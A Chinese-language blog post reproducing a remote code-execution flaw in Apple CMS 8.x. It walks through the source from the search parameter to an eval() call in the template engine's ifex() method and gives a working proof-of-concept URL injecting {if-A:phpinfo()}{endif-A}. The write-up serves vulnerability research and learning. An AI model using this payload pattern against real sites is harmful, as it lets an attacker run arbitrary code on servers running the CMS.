苹果cms8.x代码执行(复现)

0x00 漏洞函数

漏洞发生在/inc/common/template.php文件类方法ifex()中的eval语句,这个方法中有多个eval执行语句,我们选取限制条件最少的一个进行利用,即最后一处(
1041行限制是最少的):

else{
//die("if($strif){$ifFlag=true;}else{$ifFlag=false;}");
   @eval("if($strif){$ifFlag=true;}else{$ifFlag=false;}");
   if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}

这里的$strif变量就是我们可以控制,执行eval

代码分析

payload:

http://127.0.0.1/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}
我们首先去到index.php文件中

开头包含了inc/conn.php文件,而inc/conn.php文件又包含了/inc/common/template.php文件,这个文件会新建一个模板对象,代码如下:

# /inc/common/template.php
<?php
class AppTpl
{
    var $markname,$markpar,$markdes,$markval,$markhtml;
    function AppTpl()
    {
    	$this->P = array("vodtypeid"=>-1,"vodtypepid"=>-1,"vodtopicid"=>-1,"arttypeid"=>-1,"arttypepid"=>-1,"arttopicid"=>-1,"auto"=>false,"pg"=>1);
	}
......
$tpl = new AppTpl();
?>

根据payload,我们重点关注

$m = be('get','m');be函数在/inc/common/function.php中定义,我们去看一下

函数功能就是防止sql注入

回到index页面

根据payload:index.php?m=vod-search可知,会包含'/inc/module/vod.php'文件,并且$method=search,我们来详细看一下'/inc/module/vod.php'文件:

# /inc/module/vod.php
......
elseif($method=='search')
{
	$tpl->P["siteaid"] = 15;
	$wd = be("all", "wd");
	if(!empty($wd)){ $tpl->P["wd"] = $wd; }
	if ( $tpl->P['pg']==1 && getTimeSpan("last_searchtime") < $MAC['app']['searchtime']){ 
		showMsg("请不要频繁操作,时间间隔为".$MAC['app']['searchtime']."秒",MAC_PATH);
		exit;
	}
    ......
    $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");
	$tpl->mark();
	$tpl->pageshow();
	
	$colarr = array('{page:des}','{page:key}','{page:now}','{page:order}','{page:by}','{page:wd}','{page:wdencode}','{page:pinyin}','{page:letter}','{page:year}','{page:starring}','{page:starringencode}','{page:directed}','{page:directedencode}','{page:area}','{page:areaencode}','{page:lang}','{page:langencode}','{page:typeid}','{page:typepid}','{page:classid}');
	$valarr = array($tpl->P["des"],$tpl->P["key"],$tpl->P["pg"],$tpl->P["order"],$tpl->P["by"],$tpl->P["wd"],urlencode($tpl->P["wd"]),$tpl->P["pinyin"],$tpl->P["letter"],$tpl->P['year']==0?'':$tpl->P['year'],$tpl->P["starring"],urlencode($tpl->P["starring"]),$tpl->P["directed"],urlencode($tpl->P["directed"]),$tpl->P["area"],urlencode($tpl->P["area"]),$tpl->P["lang"],urlencode($tpl->P["lang"]),$tpl->P['typeid'],$tpl->P['typepid'] ,$tpl->P['classid']  );
	
	$tpl->H = str_replace($colarr, $valarr ,$tpl->H);
......

$tpl->P["wd"]获取wd参数

$tpl->H等于/template/paody/html/vod_search.html中的内容,$tpl->H的内容还做了替换,所有形式如:{xxx:xxx}会被替换成{if-A:phpinfo()}{endif-A},这里是关键 。继续看index.php页面:

这里调用到了ifex()方法,我们看看/inc/common/template.php文件中的ifex()方法

this-H在vod文件中说明了/inc/module/vod.php

  $tpl->H = loadFile(MAC_ROOT_TEMPLATE."/vod_search.html");

接着就是正则,我们传的wd参数必须符合这个形式
然后

preg_match_all($labelRule,$this->H,$iar);

匹配wd参数后存到iar[2]数组中
然后进入循环

不符合条件即会进入else,执行eval
最后进到

else{
//die("if($strif){$ifFlag=true;}else{$ifFlag=false;}");
   @eval("if($strif){$ifFlag=true;}else{$ifFlag=false;}");
   if ($ifFlag){ $this->H=str_replace($iar[0][$m],$strThen,$this->H);} else { $this->H=str_replace($iar[0][$m],"",$this->H); }
}

导致代码执行

总结

最后总结一下整个代码执行流程:

http://127.0.0.1:88/maccms8/index.php?m=vod-search&wd={if-A:phpinfo()}{endif-A}

首先在index.php调用m=vod-search,vod中获得wd参数{if-A:phpinfo%28%29}{endif-A}
且$tpl->H等于/template/paody/html/vod_search.html中的内容
接着又在index中调用$tpl->ifex();

ifex()函数对我们传入过来的wd进行正则匹配,而且$this-H中必须有{if-我们输入的wd参数带有{if-就可以绕过

{if-A:phpinfo()}{endif-A}即可满足上面的要求
再进入preg_match_all中上面内容被扔进一个二维数组中
进入循环
下面是判断条件不满足执行else的eval
我们phpinfo()都不满足,

if (strpos(",".$strThen,$labelRule2)>0){

if (strpos(",".$strThen,$labelRule3)>0){

执行最后的eval导致命令执行

参考

https://mochazz.github.io/2018/03/06/代码审计之苹果cms8.x代码执行(复现)/#相关文章:

原文地址:https://www.cnblogs.com/wangtanzhi/p/12865893.html